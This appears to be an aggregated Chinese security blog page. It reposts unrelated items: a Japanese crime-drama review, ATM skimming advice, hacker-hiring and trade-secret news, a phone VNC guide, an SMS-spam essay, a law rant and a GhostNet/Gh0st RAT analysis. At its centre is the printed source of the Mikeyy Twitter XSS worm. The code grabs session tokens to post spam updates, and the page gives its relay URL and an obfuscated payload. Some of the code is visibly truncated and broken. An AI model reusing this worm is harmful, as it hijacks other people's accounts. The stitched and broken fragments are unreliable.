"新兴的日式刑侦剧，一改以往的诡异气质，突出角色人性色彩，变得更励志、更时尚"在刚刚落下帷幕的日剧春季档里，日剧《Boss》（天海佑希、竹野内丰主演）和《Mr Brain》（木村拓哉主演）成为挽救该季度惨淡收视的两大功臣，且都可视为最潮的日式刑侦剧。尽管两者噱头各自不同，《Boss》主打天海佑希的“女王控”（意指有强大控制力的成熟女性）和竹野内丰的蓄须造型；《Mr Brain》则有“收视之神”木村拓哉的“怪叔叔”（意指不按牌理出牌、略带猥琐的中年男子）表演，但它们都是日式刑侦剧的最新破格，突出科学理论的指导作用，一改以往该剧种的诡异气质，增加了喜剧成分，突出角色人性色彩，变得更励志、更时尚。而导致这种变化的因素，除了以《CSI》为代表的美式刑侦剧，更重要的则是日本本土炙手可热的悬疑大师东野圭吾。
　　日式刑侦剧是与日本侦探小说的发展严密相对应而生的。以江户川乱步、横沟正史为代表的本格派，通过自己的创作，缔造了诸如密室杀人等经典案件；而岛田庄司则通过《占星术杀人魔法》开创了“新本格”风潮。开玩笑地说，本格与新本格之间的区别在于：前者是有人死在密室里，凶手消失；后者是有人死于非命，凶手为尸体建好密室然后消失。新本格由于增加了现实的不可能性，所以诡异气氛更加浓厚。
　　小说的流变也影响到日式的刑侦剧风格，在本格和新本格主义流行的时代里，日式刑侦剧的代表是《金田一少年事件薄》和《古畑任三郎》。这两部经典之作都相当长寿，也体现出本格派的所有精华。《金田一少年事件薄》充分发挥“金田一”家族破解离奇恐怖事件的天赋，凸显令人全身毛立的恐怖元素，人性阴暗面被表现得淋漓尽致。
　　近年来，东野圭吾走红亚洲。他是集以往前辈之大成的悬疑大师，由于出身理工科，因此比其他作家更擅长也更愿意去尝试以科技为主轴的题材，而其中最有代表性的就是以物理学家汤川学为主角展开的“伽利略系列”。该系列去年被搬上屏幕，迅速大热。剧中的汤川学虽然遇到的案件依然离奇，诸如人头自燃、尸体心脏腐烂、鬼屋震动等，但最终都用相对严谨的科学理论一一破解，剧中涉及到的科学理论包括了折射现象、共振现象、水钠反应等。该剧的恐怖氛围被大大消解，反而激发起观众对科学常识的好奇心。
　　东野圭吾和《侦探伽利略》的走红引发了今年春季两部刑侦剧《Boss》和《Mr Brain》的出炉，剧中的侦探们都放弃了完全依靠大脑推理的传统方式，而更倾向于科学实证。比如《Mr Brain》中的九十九龙介则是行为古怪的脑科学家。
　　这两部刑侦剧也吸收了美剧同类型剧集的一些营养，《Boss》更明显，比如一改以往日式刑侦剧个人英雄主义的做法，突出团队协作的作用，减少血腥暴力场面，角色更丰满更有人情味儿了，侦探们除了破案，也开始谈恋爱了。天海佑希扮演的女警司就是“大龄剩女”，梦中情人是乔治·克鲁尼。
　　日式刑侦剧的新变格朝着更流行、更大众化的方向发展，它将诡异的传奇性转变为轻松的脑力激荡，丰富人物情感层次，更加适合快餐文化下的观众口味，这种变化也是东野圭吾能够走红的重要原因。

More......

More......

　　搞WEB安全估计都这配置了，哈哈。

More......

More......

　　据美联社报道，为应对每日数以百万计的网络攻击和欺诈，美国联邦政府正在积极寻找黑客高手，这次不是为了抓捕他们而是向他们支付费用保护国家网络。
　　上月美国通用动态信息技术公司（General Dynamics Information Technology）代表国土安全部发布了一则广告，寻找能像黑客一样思考问题的人。广告里称，申请者必须了解黑客的技术和手段，并能对网络流量进行分析，找出联邦系统中的漏洞。
　　上周美国防部长罗伯特・盖茨在提交五角大楼预算申请时，发出了自己的招聘信号。他表示，五角大楼应增加网络专家的数量，在2011年前每年都要培训出80-250名。美国政府的官员表示，在面临新型黑客、网络犯罪和其他威胁上，保护网络的技术创新未能跟上。
　　美国的电脑网络包括了五角大楼和其他联邦政府机构的网络，一直处于持续的攻击下，这些攻击有温和的骚扰性攻击也有破坏力很大的袭击。就在上周，美国政府一位前政府官员披露，间谍已经攻入美国国家电网，并留下一些可中断服务的病毒。
　　网络威胁也对美国的国家安全造成潜在危险，五角大楼的官员表示，过去半年里为修复网络已经花费了1亿多美元。通用动态信息技术公司的副总裁纳迪亚・萧特（Nadia Short）表示，联邦政府非常需要有道德的黑客加盟。
　　前布什政府曾启动了一项政府网络监控计划"爱因斯坦"，由美国计算机应急小组（US-CERT）负责。US-CERT是美国国土安全部、其他政府机构和私人公司签署的合作协议。"爱因斯坦"计划是一个自动收集和分享安全信息的计划。萧特称，这项为期4年将耗资6000万美元的协议，将利用有道德黑客分析政府网络面临的危险和开发可减少漏洞的技术。
　　一些科技巨头也督促美国政府设立一个白宫级职位，专门负责网络发展和寻找如何与私人部门迅速分享信息的途径，这些公司包括通用动态信息技术公司、IBM、洛克希德-马丁和惠普等。但美国政府一直难以解决一些基础问题，如由谁来控制全国性的网络计划。

More......

from:http://www.cnbeta.com/articles/82193.htm
　　我们每天都在接触银行卡，使用ATM自动取款机，可是普通人对银行卡和ATM了解多少呢？为什么会有银行被盗用，被复制的情况出现呢？为什么很多人说在ATM上取到假钱呢。我不算是个专业人士，只是从事银行ATM维护工作有几年了，这里给大家简单的解密下银行卡和ATM的相关情况，希望给大家正确使用银行卡和ATM做个指导。
　　首先说下银行卡，现在最普遍使用的银行卡是磁条卡，另外就是IC卡，我这里只说说磁条卡，因为磁条卡是最容易被盗，被复制的。银行卡背面有一条黑色或其他颜色的宽线条，既为磁条。银行卡磁条是分为三个磁道的，简单的说就是分为三个数据记录区域。第一磁道，根据银行的不同，有的是空白无数据的，有的是记录有该银行卡的卡号的。第二磁道，是记录该银行卡的卡号的，第三磁道，是记录银行卡卡号和加密信息的，该加密信息是银行采用了独特的加密算法，通过对该银行卡的卡号和其他信息计算后，形成的一串数字。每个银行的加密算法肯定是绝密级别的，不可能说被破解。也就是说，不可能别人知道你的卡号，就能制作出你的银行卡。
　　既然不能从知道卡号就复制出一张银行卡，从而盗卡的唯一手段，就是利用你的原卡去复制。所以作案人员采用在ATM或其他地方，安装磁条卡读卡器，骗你将银行卡在这些读卡器上刷，然后把你银行卡的磁道信息记录下来，再写入一张其他同类型磁条卡，这样就完成了银行卡的复制。想想现在的银行使用地点，除了 ATM，还有商场，宾馆，饭店等等，你就明白你银行卡信息被盗取的可能性有多大了，在读卡器上一刷，就能复制下来所有磁道信息，再就可以复制。所以使用银行卡时候，一定要保持卡片在你的视线之类，特别是很多银行的信用卡，消费时是不需要密码的，一旦被复制了，罪犯可以随时拿去刷卡消费。
　　银行卡在ATM上使用，很多人缺乏一点基本常识就是先看ATM屏幕，再插卡。屏幕上明明显示机器暂停服务，有人就还在那里拼命的往入卡口塞卡。还有，现在各银行ATM屏幕上一般都有一些提示信息，很多人不屑一顾，明明屏幕上提示了发生异常情况应该打银行那个号码的服务电话，还是去轻信贴在ATM旁边的一张纸片上的电话。正确使用ATM，应该是先看ATM屏幕，是否显示的是正常服务画面，提示可以插入卡片，然后再插卡。如果是你经常去使用的ATM，你应该还要留意下，插卡口，是否有异常，因为犯罪分子可能会有安装一个假的入卡口在ATM真正的入卡口前面，盗取卡片信息。
　　输入密码时候，先要环顾一下身周围，注意不要陌生人在身后，最好是一个手遮挡住键盘输入区域，一个手输入密码。密码不能复制，但是仅仅6个数字，实在是太容易偷窥记住了。密码和卡片信息，你保护住了一个，你的银行卡就是安全的。特别提示一点，有新闻说到信用卡被人知道卡号和有效期和验证码后三位（即卡背面签名栏末三位数字CVV码），就能电话定机票，所以信用卡的相对普通卡，安全信更差。银行卡在ATM上使用后打出的回单纸，上面的卡号是有几位被星号代替了，但是有很多人可能没留意，银行卡在商场等刷卡使用，打出的回单，卡号是完全显示的，而信用卡的有效期是有印在信用卡上面的。信用卡刷卡消费完以后，回单一定不能随意丢弃，最好看过后，彻底销毁。
　　在ATM交易是需要一定时间，插卡输入密码后，选择了你想要的功能，ATM将信息发送到银行总行服务器，跨行交易还要经过银联服务器，根据网络的好坏，都是需要一定时间。每个银行设定的网络的超时时间不一定相同，比如说，你选查询，刚刚好ATM网络故障（ATM信息发送不到主机，或者是主机的响应信息发送不到ATM），到机器屏幕给出提示这个时间，每个银行都有不同，有的可能是一下子就提示你交易失败，有的可能会等1-2分钟，才提示，这时候千万不要离开 ATM，因为这种情况，ATM无法交易，肯定会提示并退出卡片的。
　　ATM自动退卡和吞卡的时间呢，一般ATM都是30秒。当你插入卡片，而不进行操作，超过30秒，机器将自动退出你的卡片。这就造成有些人取钱后，忙着点钱和验钞，不对机器操作，过了30秒，卡就会自动被机器退出。如果卡片退出后，不被取走，再过30秒，机器将会把卡片吞入，那你就只能找银行领卡了。吞钞也是，钱如果说送到了出钞口，超过30秒，客户不取走钞票，机器也会自动回收钞票。钞票回收了，钱是不会马上又打入你的卡的。这要等银行方面查明了，再由银行冲回你的卡，一般时间3天，或者更久。
　　最好说下ATM出假钞的情况，新闻上这么多反应的，只能说无风不起浪。按照银行正规的操作流程来说，ATM上是不应该出现假币的。为什么这么说，因为银行往ATM上加入的钱，大多数银行并不是使用在柜台客户存入银行的钱，而是每天从地区银行总行金库领用的，领用了拆包直接放入。既然这个钱能入得了银行总行金库，就肯定不会出现假币，现代验钞手段，哪怕是一张钱中间只有极少一部分是假的，比如拼凑上的，都能建议出来。我见过只有十几分之一是假的拼凑币。关于怎么进到ATM我也不知道详情，猜测也是只有内部作祟。有人说在ATM上一下子取到一千，两千都是假的，或者说同一台机器经常有出假的，这个也不足信。作祟人员再大胆，也不可能冒那么大的险，一次放大量假钞进去，或经常动手脚，其中缘由可想而知。大多数人说取到假钱，是在ATM取了钱，不验，往口袋一塞，等到消费时候给人调包了，回头来找银行说ATM取到假钱了。
　　如果真的取到假钱了怎么办呢，首先你不要离开ATM，也不可以把钱收入钱包或口袋，应该叫他人帮忙叫银行人员过来，因为ATM都有摄像头监视，你和银行理论时候，可以要求查看监控录像，确认钱就是从ATM出来的，你没动手脚。遇到晚上或者周末银行不上班，以及不是在银行的ATM机器，有一个办法，就是你找到ATM机器上的摄像头位置，将你手中的钞票编码部分，靠近对准摄像头，停留一阵子，确保录像能录下钞票编码。国内基本所有ATM，都有实时监控，你报案都可以要求提取查看的。你只要仔细看一下ATM，一般都能发现摄像头位置，大多在屏幕上方一点，人脸正面，或者是在头顶位置。有针孔的，有有色玻璃框住的。
　　说了一些，其实ATM和银行卡还有很多和我们使用息息相关的方方面面，大家知道多点，也就不会产生那么多麻烦和不安全因素。生活源于观察，小心谨慎是关键。

More......

PS：窃取商业秘密
　　A Chinese citizen on a work visa in the United States was arrested by the FBI last week for allegedly revealing proprietary software code owned by his unidentified U.S. employer to a Chinese government agency.
　　Yan Zhu, 31, of Lodi, N.J. -- also known as "Westerly Zhu" -- was arrested on charges of theft of trade secrets, conspiracy, wire fraud, and theft of honest services fraud.
　　A startup has a new firewall that accurately identifies applications and enforces policies Renown researchers Thomas Ptacek and Joanna Rutkowska square off on rootkit detection Andrew Conry-Murray spoke with the president of RSA, Art Coviello, at EMC World 2008 about Data Loss Prevention.
　　A startup has a new firewall that accurately identifies applications and enforces policies
　　"Crimes of this nature do not get much public attention," FBI Special Agent in Charge Weysan Dun said in a statement. "No one is shot, there is no crime scene, no prominent public figures are involved. However, this is an act of economic violence -- a paper crime that robs the victim company of the resources they expended to develop a product."
　　Dun said that white-collar crimes of this sort are clearly dangerous to America's economic infrastructure. "If American dollars are spent on research and development of a product, and then that product or research is taken without any compensation to American companies, the value of American companies and American products is significantly reduced in the global marketplace," he said.
　　David Schafer, the assistant federal public defender representing Zhu, declined to comment or to identify Zhu's former U.S. employer.
　　According to the criminal complaint, Zhu's former employer is an unnamed company based in Mercer County, N.J., that develops, implements, and supports software for environmental applications. One of its applications is an environmental information management portal for the Chinese market.
　　Zhu, who holds a Ph.D. from Columbia University in geo-environmental engineering, was hired by the U.S. company around April 2006 as a senior environmental engineer and signed a confidentiality agreement.
　　In July 2007, the U.S. company signed a contract with Shanxi Province, China, to provide its software to the local Environmental Protection Administration （"Shanxi EPA"）. The contract called for four payments totaling about $1.5 million -- a down payment and three subsequent payments following the installation of module 1, modules 2 and 3, and module 4.
　　In November 2007, the Shanxi EPA made the down payment of about $3 million. By March 2008, all four modules were installed, but the U.S. company never received further payment.
　　The U.S. company subsequently recognized the software it had provided to Shanxi Province had been altered, which would require access to the company's source code. The company also noticed that a Chinese company set up to serve as a payment conduit for the deal was now listed on a Shanxi Web site as a vendor of environmental software.
　　The complaint alleges that Zhu e-mailed his company's database and more than 2,000 pages of source code to co-conspirators in China and that the individuals have been selling the U.S. company's software to Chinese government agencies without authorization.
　　In its 2008 report to Congress, the U.S.-China Economic and Security Review Commission warned that "China is targeting U.S. government and commercial computers for espionage."
　　In 2007, the group said, "Chinese espionage activities in the United States are so extensive that they comprise the single greatest risk to the security of American technologies."
　　China, however, is not alone in seeking to obtain U.S. technology through espionage. Many nationals of other countries and U.S. citizens have been involved in technology theft or illegal technology exports.
　　Attend a Webcast on why bad security breaches keep happening to good organizations. It happens Wednesday, April 15. Find out more and register.

More......

　　这个Mikeyy家伙才17岁，为了在twitter给自己打广告弄的XSS蠕虫，这么恶毒的方式也用上了……

原始XSS Worm:

function XHConn() {
var xmlhttp, bComplete = false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
xmlhttp = new XMLHttpRequest();
}
catch(e) {
xmlhttp = false;
}
}
}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone) {
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET") {
xmlhttp.open(sMethod, sURL + "?" + sVars, true);
sVars = "";
}
else {
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST " + sURL + " HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && !bComplete) {
bComplete = true;
fnDone(xmlhttp);
}
};
xmlhttp.send(sVars);
}
catch(z) {
return false;
}
return true;
};
return this;
}

function urlencode(str) {
var histogram = {},
tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g,
function(full, m1, m2) {
return "%" + m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/");
document.write("");

function wait() {
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var Randomupdate = new Array();
randomUpdate[0] = "Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1] = "Join www.StalkDaily.com everyone!";
randomUpdate[2] = "Woooo, www.StalkDaily.com :)";
randomUpdate[3] = "Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4] = "Wow...www.StalkDaily.com";
randomUpdate[5] = "@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random() * randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com">

感染方式：
　　在Twitter个人资料的location与web栏插入恶意代码，当其它用户浏览某人个资料时，该XSS蠕虫就会触发。

XSS蠕虫中转站：http://content.ireel.com/xssjs.js
　

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F \x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70 \x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\ x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52 \x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\ x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D \x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

安全防范：
　　1.更改hosts文件，屏蔽传染网址。
　　2.使用noscript火狐扩展屏蔽恶意代码
　　3.修改个人资料，删除恶意代码


More......

More......

More......

PS:在手机上玩3389……
from:http://www.makeuseof.com/tag/set-up-remote-computer-access-with-your-mobile-phone/
Throughout my college years, there were often times when I wished I could set up remote computer access to the PC in my dorm room to email a particular homework file to my professor. Instead, I had to hike the treacherous 1.5 miles, through frigid snowdrifts and throngs of shivering college students, just to reprint and retrieve the homework I’d forgotten to bring with me that morning.

Of course, back then there were no such things as Internet-enabled Windows Mobile devices. In fact, at the time the Internet itself was only in its infancy. Today, there’s not only the Internet, but also these nifty little web-enabled mobile devices that let you do some pretty magical things over the Internet. Not the least of which is connecting and controlling your computer from anywhere in the world.

How to Set Up Remote Computer Access With Your Mobile Phone

Not long ago, the ability to whip out your trusty PocketPC and set up remote computer access to your desktop PC would all have sounded like science fiction. Today, it’s not only a reality, but it’s completely free.

Dave previously wrote about how to remotely control your mobile device with your desktop. There are a lot of reasons why that would be useful. However, the reverse is just as useful. Having the ability to set up remote computer access to your home PC from anywhere in the world has unlimited possibilities. But how exactly does it work?

First, it makes use of free VNC technology, mentioned previously in How to Spy On Your Spouse With Your Computer. You set up the VNC server on your home PC exactly as outlined in that article, but in order to connect to that VNC server, you need a VNC client that works on your Windows Mobile device. The best available client that I’ve found is the open source Windows Mobile .NET VNC Viewer created by Rocky Lo.

How To Set Up And Configure The .NET VNC Mobile Viewer

Rocky Lo wrote his mobile VNC client because there weren’t any other clients available that offered much in terms of functionality. This viewer is an impressive mobile version of the desktop version of the Real VNC client. Upon installing the software, you’ll find that it’s extremely easy to immediately establish a connection to the VNC service running on your Home PC.

Lo’s mobile version offers client-side scaling, full screen mode, and is highly configurable to update as often or as little as you would like. Lo fully tested his latest version on an HP 4150 with Windows Mobile 2003. For this article, I’ve tested it on a HTC/Cingular 8125 Smartphone running Windows Mobile 5.0.

You can even set up your mobile device to simply listen on a particular port for available VNC servers. But in my opinion, the most useful settings in this app are the display options.

You can enable full screen mode, set the orientation for portrait, upside down, or even rotate the computer screen clockwise or counter clockwise so that it shows up on your portable PocketPC screen in the wide format.

You can also change the pixel size from 8-bit to 16-bit, or you can allow the server to define your resolution. These are settings you can tweak if you find that the display updates slowly.

Of course, scaling is a cool method you can use to try to get as much of the computer screen to fit inside your little mobile screen. You can define the width and height, or just scale down the server-side size by as much as a fifth.

Finally, you can configure your mobile VNC client to either update the screen as fast as possible, or disable that feature and update manually. You can also configure it to view the PC screen only, but not manulate it (turning your mobile phone into another cool spy device).

Here, you can see what it looks like when I connect my 8125 SmartPhone to the VNC server running on my family desktop PC. I ran the client software while my phone was connected directly to my home Wi-Fi network. Sending commands to the PC acted instantaneously on the PC itself, but the screen refresh rate on the mobile end took at least 10 to 20 seconds. My settings could use a bit of tweaking.

Using the menu items at the bottom of your mobile screen, you can manually force a screen refresh - a helpful feature when you’re on a slow connection. Other options include sending special keys like control-alt-delete and other tasks typical of a normal VNC viewer.

How to Connect to Your PC While Not at Home

Now, while connecting to your PC remotely is cool when you’re sitting in a different room of your home - it’s astronomically more cool when you’re sitting on a train headed to work and you just remembered you forgot a file on your hard drive at home. How can you configure things so that you can connect your mobile phone through your router? It’s extremely simple.

First, get into your router settings and modify port forwarding. Within Linksys, this is typically under applications & gaming. For VNC, you want to define all requests for port 5900 (for example) to forward to the IP address for the PC that you’ve got running the VNC service in your house.

Then, using your connection with your mobile phone, you will connect to your router’s actual Internet IP address and specify the same port that you’ve just defined forwarding for.

In this screenshot, I’ve logged in from a local Wi-Fi hot spot about 20 miles from my house, and I’ve opened up Thunderbird on my home PC.

Final Words

The most important thing to consider when setting up your mobile phone client is that data transfer speeds have a tremendous impact on performance. I’d never consider trying to connect to my home VNC servers over the cellphone network. While it would work, it would take ages to connect and update.

Instead, try to find local Wi-Fi hot spots to park yourself, have a cup of coffee, and remotely log into your home PC to download emails or initiate a few more Torrent downloads.

Either way, using this mobile software is yet another way you can stay fully connected even when you’re miles away from your home computer.

If you have any opinions, comments, problems setting this up, let us know in the comments.

More......

More......

More......

PS:就是用ID发GFW过滤词
from:http://initiative.yo2.cn/archives/638444
1. 备份自己的数据，把资料从目标网站上dump下来，修改/清除所有个人联系信息和资料。（其实数据的覆盖比删除安全很多。）
2. 挂proxy，打开大鸡院网站
3. 复制20多篇反☭的新闻，注意标题一定要狠，要吸引人，要哗众取宠。然后广泛粘贴到目标网站高流量的板块
4. 不出意外的话，个把小时之内你的帐号会被永久性的从目标网站服务器删除，而且不会留下任何痕迹。即使网站没有开发这个功能我想鹳狸猿直接操作数据库都会把你的帐号灭了。
More......

from:http://www.awflasher.com/blog/archives/1742

　　尽管三妖五陆续曝光了一大堆的垃圾短信发送业务，尽管已经有人大代表提出要从法律角度保护公民个人隐私，但就目前的实际情况来说，垃圾短信还是很难根除的。

　　垃圾短信和垃圾邮件（junk mail）的原理一样，都是利用大量的受众群进行低成本广告，尤其是欺诈活动。但是，在这样一个充满千年智慧的土地上，垃圾短信行业显然比西方传入的垃圾邮件行业要更强大。

　　回到这个问题的根源：欺骗究竟为什么能如此猖獗。答案非常简单，因为欺诈存在市场，这个市场比什么新媒体、SNS的那些市场要大得多。（虽然是一个病态的不健康的市场）

　　这个市场存在的原因，我认为是：骗子总是比被骗的人聪明，可以这么简单理解：如果你的智商为130之高，那么只要一个骗子的智商有131，就可能骗到你；如果一个骗子的智商只有85，他仍然可以去骗那些智商低于85的人。更何况，这还参杂着诸如社会经验、行业壁垒在内的许多其他因素。（注：这里的智商只是用于比喻防骗能力）

　　而垃圾短信行业的智慧则在于其"精准匹配" - 一个垃圾短信发布商发布一条智商为N的欺诈信息，只要找到那些智商为M, (M<N)的用户即可行骗成功而牟利。目前由于移动运营商对用户个人隐私的保护还不够成熟，以及之前广大人民群众缺乏保护意识，导致这种智商非常容 易被"获取"、"分析"：

一方面，垃圾短信有极强的"无效过滤机制"（filters）：垃圾短信并不会发到那些"企业白领"、"高校学者"和"机关领导"的手机里。因为这些人的投诉意识比较强、

另一方面，垃圾短信有极强的"自动化学习机制"（machine learning）：发给1000个号码中，经常投诉或者难以欺诈成功的那一部分号码，会被加入到上面的过滤机制中。

　　有这两方面的强力保障，垃圾短信欺诈在99%的情况下都可以欺诈成功：用这99%的盈利去应付那1%的"索赔"，实在是太轻而易举的一件事情了。

总之，还是那句话，能不用手机，别用手机。

More......

　　PS:用NLP心理检定语言来解释法律规条，我们会发现大量充斥粗泛概念的词语，尤其在描述程度的多少时，通常并非那么具体。你能想象，"黑掉网站就是犯罪"，然而并有具体描述行为、性质、程度等等时，法官的宣判解读就可以天马坠地宣判。
　　在我看来，中国的刑法，是相当愚蠢的垃圾，量型重、不透明，绝大多数的法官的口头禅是："因还没有这方面的相关法律"、"目前无具体的司法解释"。立法者不懂常识，最近一条网络安全法，我怀疑，这群傻X！法克尤！
　　《中华人民共和国刑法》 第二百六十四条规定："数额较大或者多次盗窃的，处三年以下有期徒刑、拘役或者管制，并处或者单处罚金；数额巨大或者有其他严重情节的，处三年以上十年以 下有期徒刑，并处罚金；数额特别巨大或者有其他特别严重情节的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产；有下列情形之一的，处无期徒刑或 者死刑，并处没收财产：（一）盗窃金融机构，数额特别巨大的；（二）盗窃珍贵文物，情节严重的。" 由于数额较大和数额巨大是一个模糊的形容词，也就为审判提供了弹性空间。《重庆晨报》报道，九龙坡区法院以数额巨大为由，一审判决盗窃久游币、联众币和魔兽点卡价值14万余元的"黑客"张某有期徒刑十年零六个月，并处罚金5万元；另外四名被告分别被判处有期徒刑三年至六年。 有兴趣的话可以比较一下贪污贿赂罪，刑法第三百八十二条规定"个人贪污数额在十万元以上的，处十年以上有期徒刑或者无期徒刑，可以并处没收财产；情节特别严重的，处死刑，并处没收财产。以下是一些最近的贪污案件： 山西霍州原公安局长贪污约600万元被判17年；衡阳对北亚实业(集团)股份有限公司原董事长刘贵亭挪用公款9999.98万元人民币，贪污1337万余元人民币判无期；贪污32万医药公司经理获判12年半.....

bladerunner的评论
　　90年代末连线杂志就登过，中国是唯一处死黑客的国家，记得地方是镇江。中国的判决向来政治、权力角力味道极浓，无权者往往灰飞烟灭，当年我见过为"金中 富"期货案件辩护的律师，一些企业投钱是为了投政府某些人物的喜好――他们当年力挺金中富，但是出事后外资方作为知情人获得了被扣留的护照开溜，国内投资 方的判决书在开庭时就已经拟定好，怎么辩护都没用。

　　至于"那个年代"，就别提了，有代人做毛主席石膏像的青年工人因为把做坏的石膏像扔掉被枪决的。至于著名的"内人党"案件，通过大规模的刑讯捏造了一个子 虚乌有的几十万人的反党集团，不到50年时间抹平一切，今日在海外唧唧歪歪"西藏农奴遭受酷刑"的小奶嘴们估计根本没听说过，即使告诉他们也"不很关心政 治"，而西藏问题则"不是政治问题"。当年我了解内人党案件是通过大陆华龄出版社的《中国左祸》，陈列的还都是党"平反昭雪"的案例，如果现在还能找到， 建议关心历史的人去看看。

More......

More......

More......

PS:记得去年从坏坏手里拿到最新版本的Gh0st时，没预料到开源后成了间谍木马....出名了～(进一步证明ZF正在……)

For many members of the non-security research community, the New York Times story this week was big news: "Vast Spy System Loots Computers in 103 Countries". This morning's Google News has more than 750 related articles, and I applaud the work of the University of Toronto's Citizen Lab at the Monk Centre for International Studies at Trinity College for the excellent research and for sharing this story with the general public.



What does it look like to a Security Researcher though? Unfortunately, its a very common story of a very simple case of Spear Phishing that can be accomplished with minimal effort and *IS* being accomplished on a daily basis against various special interests, including government agencies, military contractors, or just people who might have a lot of money to steal. As I've discussed in my presentations on Spear Phishing, including at the 2008 Department of Defense Cyber Crime conference, high-value targets deserve special targeting. But let's look at how special the targeting was in this situation.

The news that someone was creating specifically targeted spear phishing campaigns against Tibet and Tibetan sympathizers first came to my attention in March 24, 2008, when our friends at the SANS' Internet Storm Center released the article, Overview of cyber attacks against Tibetan communities by Maarten Van Horenbeek. This was an in-depth follow-up to Maarten's initial report on March 21, 2008, Cyber attacks against Tibetan communities.

In the original article, Maarten describes the case this way:

The attacks generally start with a very trustworthy looking e-mail, being spoofed as originating from a known contact, to someone within a community. Some impressive social engineering tricks are used:

• Messages make a strong statement on a well known individual or group, but do not mention its name. The attachment is then named after that individual. A state of 'cognitive dissonance' is invoked between the reader's pre-existent beliefs and the statement. There's a natural urge to click on the attachment to confirm that belief;
• The writing style of the purported sender is usually well researched to have the message look as believable as possible;
• The content of the document actually matches closely what was discussed in the e-mail message;
• Having legitimate, trusted, users actually forward along a message back into the community.

The messages contain an attachment which exploits a client side vulnerability. Generally these are:

• CHM Help files with embedded objects;
• Acrobat Reader PDF exploits;
• Microsoft Office exploits;
• LHA files exploiting vulnerabilities in WinRAR;
• Exploitation of an ActiveX component through an attached HTML file.

At that time he showed how PowerPoint files with names such as "reports_of_violence_in_tibet.ppt" and or "China's Tibet.pdf" contained exploits and were delivered in emails designed to elicit a trust-response from the reader if they were sympathetic to the cause. Here's one email that Maarten shared:

All,

Attached here is the update Human Rights Report on Tibet issued by
Department of State of U.S.A on March 11, 2008.

You may also visit the site:

Tashi Deleg,

Sonam Dagpo

Secretary of International Relations
Department of Information & International Relations
Central Tibetan Administration
Dharamshala -176215
H.P., INDIA
Ph.: [obfuscated]
Fax: [obfuscated]
E-mail: [obfuscated]@gov.tibet.net or diir-pa@gov.tibet.net
Website: http://www.tibet.net/en/diir/

Maarten confirmed that the contact information was correct for a member of the Tibetan Government in exile in Dharamshala, India.

In the case of the Citizen Labs report, the name of the report was the first thing worth mentioning. The report was called "Tracking GhostNet: Investigating a Cyber Espionage Network". Why was it called GhostNet? Because the enabling technology in their investigation was a common Remote Administration Trojan called "Gh0st RAT" (that's Gh0st with a Zero).

It took about 30 seconds to find a copy of Gh0st RAT 3.6 in the Chinese underground community, complete with source code. The program is written in VC++ version 6.0. The source code makes clear that, as is the case with many Chinese distributed malware products, the current distributor is a Chinese speaker speaking to a Chinese audience, although the comments make it quite possible the code was originally authored and designed for English speakers. Here's an example Code Snippet:

/////////////////////////////////////////////////////////////////////////////
// CGh0stApp construction

CGh0stApp::CGh0stApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance

// 初始化本进程的图像列表, 为加载系统图标列表做准备
typedef BOOL (WINAPI * pfn_FileIconInit) (BOOL fFullInit);
pfn_FileIconInit FileIconInit = (pfn_FileIconInit) GetProcAddress(LoadLibrary("shell32.dll"), (LPCSTR)660);
FileIconInit(TRUE);

HANDLE hFile = CreateFile("QQwry.dat", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE)

(According to Google Translate, the Chinese here says roughly: 为加载系统图标列表做准备 = Initialize the image list of this process, and 为加载系统图标列表做准备 = Icon to load the system ready to do list

While many of the notes in the source code have been rendered in Chinese, it still reads as those these are after-thought comments, and not the original author's words.

Still, Gh0st RAT China has been in development as a Chinese tool for some time - the version that was popular in China in early 2008 was Beta 2.5. and seems to have been primarily distributed by members of the "C.Rufus Security Team" or "CRST" through their website wolfexp.net (which is suddently not online???). While wildenwolf's website seems offline, another CRST member, amxku, still has a great deal of notes available on his blog at amxku.net.

